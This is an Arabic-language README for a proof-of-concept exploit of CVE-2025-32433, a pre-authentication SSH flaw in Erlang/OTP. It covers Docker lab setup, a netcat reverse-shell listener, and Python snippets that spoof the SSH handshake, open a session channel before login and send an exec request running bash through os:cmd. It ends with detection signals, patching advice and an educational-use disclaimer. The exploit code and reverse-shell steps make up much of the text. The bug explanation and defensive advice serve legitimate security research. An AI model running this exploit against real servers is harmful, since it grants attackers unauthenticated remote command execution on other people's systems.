
إثبات مفهوم لاستغلال CVE-2025-32433، وهي ثغرة ارتباك قناة SSH قبل المصادقة في Erlang/OTP، توضح تجاوز المصادقة وتنفيذ تعليمات برمجية عن بُعد مع مختبر Docker.
الوصف: عرض لثغرة ارتباك قناة ما قبل المصادقة في SSH لـ Erlang/OTP.
ما هو هذا إثبات المفهوم؟
يُظهر إثبات المفهوم هذا CVE-2025-32433، وهي ثغرة في تنفيذ خادم SSH لـ Erlang/OTP تسمح للمهاجم بفتح قنوات SSH وتنفيذ الأوامر قبل المصادقة.
بسبب تطبيق غير صحيح لانتقالات حالة بروتوكول SSH، يتم قبول بعض رسائل SSH (SSH_MSG_CHANNEL_OPEN و SSH_MSG_CHANNEL_REQUEST) قبل اكتمال مصادقة المستخدم بنجاح. يؤدي هذا إلى تجاوز كامل للمصادقة و تنفيذ الأوامر عن بُعد داخل جهاز Erlang الافتراضي.
ما الذي يجب أن يكون ضعيفًا لكي يعمل هذا؟
يمكن تشغيل الثغرة عند استيفاء الشروط التالية:
ssh في Erlang مفعلالمهم، أن هذه المشكلة لا تعتمد على بيانات اعتماد ضعيفة أو تكوين خاطئ، بل على معالجة حالة بروتوكول معيبة.
كيف تظهر الثغرة، ولماذا يمكن استغلالها؟
تنبع المشكلة من خلل في ارتباك الحالة في خادم SSH لـ Erlang/OTP، حيث لا يتم فرض حالة المصادقة بشكل صارم قبل معالجة الرسائل المتعلقة بالقناة.
على مستوى عالٍ، يتم الاستغلال على النحو التالي:
SSH_MSG_CHANNEL_OPEN لقناة session.SSH_MSG_CHANNEL_REQUEST من نوع exec على القناة المفتوحة.os:cmd/1) داخل سياق الجهاز الافتراضي.ينتهك هذا السلوك نموذج بروتوكول SSH المحدد في RFC 4252/4254، حيث يجب أن يُسمح بإنشاء القنوات والطلبات فقط بعد المصادقة الناجحة.
باختصار:
ssh_connection بمعالجة طلبات exec قبل الأوانهذه ثغرة في المنطق وإدارة الحالة، وليست ضعفًا تشفيريًا.
تقوم الخطوات التالية ببناء ونشر بيئة ضعيفة قائمة بذاتها باستخدام Docker. يعمل الحاوية على خادم SSH مقوى عمدًا يرفض جميع بيانات الاعتماد، مما يضمن أن أي تنفيذ ناجح للأوامر هو نتيجة لتجاوز المصادقة.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
بمجرد التشغيل، سيتم عرض خفي SSH على المنفذ 2222 ويكون جاهزًا للاستغلال باستخدام إثبات المفهوم المقدم.
يستغل هذا البرنامج النصي خللاً في خادم SSH لـ Erlang/OTP يسمح بمعالجة بعض رسائل بروتوكول SSH قبل المصادقة.
تتطلب عملية الاستغلال طرفيتين: واحدة لاستقبال الاتصال العكسي، وأخرى لإطلاق الاستغلال.
المستمع (الطرفية 1):
nc -lvnp 4488
تنفيذ الاستغلال (الطرفية 2):
python3 exploit.py
انتحال البروتوكول
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
تُستخدم هذه الرسائل لجعل الخادم يعامل الاتصال كعميل SSH شرعي. وهي تقدم حالة بروتوكول SSH إلى درجة كافية للسماح برسائل متعلقة بالقناة دون إكمال المصادقة.
قناة جلسة ما قبل المصادقة
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
يُستخدم هذا الطلب لفتح قناة جلسة قبل المصادقة. في خوادم Erlang/OTP الضعيفة، يتجاوز ذلك ضوابط الوصول العادية وينشئ جلسة غير مصرح بها.
طلب تنفيذ الأوامر
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
يُستخدم هذا الطلب لتحفيز تنفيذ الأوامر عبر بيئة Erlang. يضمن تغليف الحمولة في صياغة Erlang أن يتم تنفيذ الأمر بواسطة جهاز Erlang الافتراضي بدلاً من معاملته كأمر شل SSH قياسي.
إذا كان الهدف ضعيفًا، يتم تنفيذ الأمر المقدم دون مصادقة.


يعتمد الدفاع ضد هذه الثغرة على التقسيم الصارم للشبكة والمراقبة على مستوى البروتوكول، حيث قد لا تسجل سجلات المصادقة القياسية محاولات التجاوز (نظرًا لتخطي المصادقة).
SSH_MSG_CHANNEL_OPEN (النوع 90) مباشرة بعد تبادل المفاتيح، دون حزمة SSH_MSG_USERAUTH_SUCCESS (النوع 52) سابقة.os:cmd غير المتوقعة أو ظهور عمليات شل لا ترتبط بجلسة مستخدم مسجل الدخول بنجاح في سجلات التطبيق.الإصلاح الوحيد الكامل هو تحديث بيئة تشغيل Erlang/OTP الأساسية لفرض انتقالات حالة صارمة.
قم بترقية بيئة تشغيل Erlang/OTP فورًا إلى إصدار يفرض فحوصات المصادقة قبل إنشاء القناة. تأكد من تشغيل إصدار أحدث من تلك المدرجة في قسم "الظروف المتأثرة".
تحقق من إصدارات Erlang/OTP الرسمية على GitHub للحصول على أحدث تصحيحات الأمان.
إذا لم تكن الترقية الفورية ممكنة، فقم بتطبيق الضوابط التالية:
تعطيل تطبيق SSH: إذا كانت واجهة SSH ليست حيوية للمهمة، أوقف التطبيق لإزالة سطح الهجوم:
ssh:stop().
القائمة البيضاء لجدار الحماية: حدد بشكل صارم الوصول الشبكي إلى منفذ SSH المكشوف للشبكات الفرعية الداخلية والإدارية فقط.
Antonie Șoga
AntonieSoga · مساهم
Ene Călin Tudor
7uddy · مساهم
Cristian Bănică
BanicaCristian04 · مساهم
لأغراض تعليمية وبحثية دفاعية فقط.
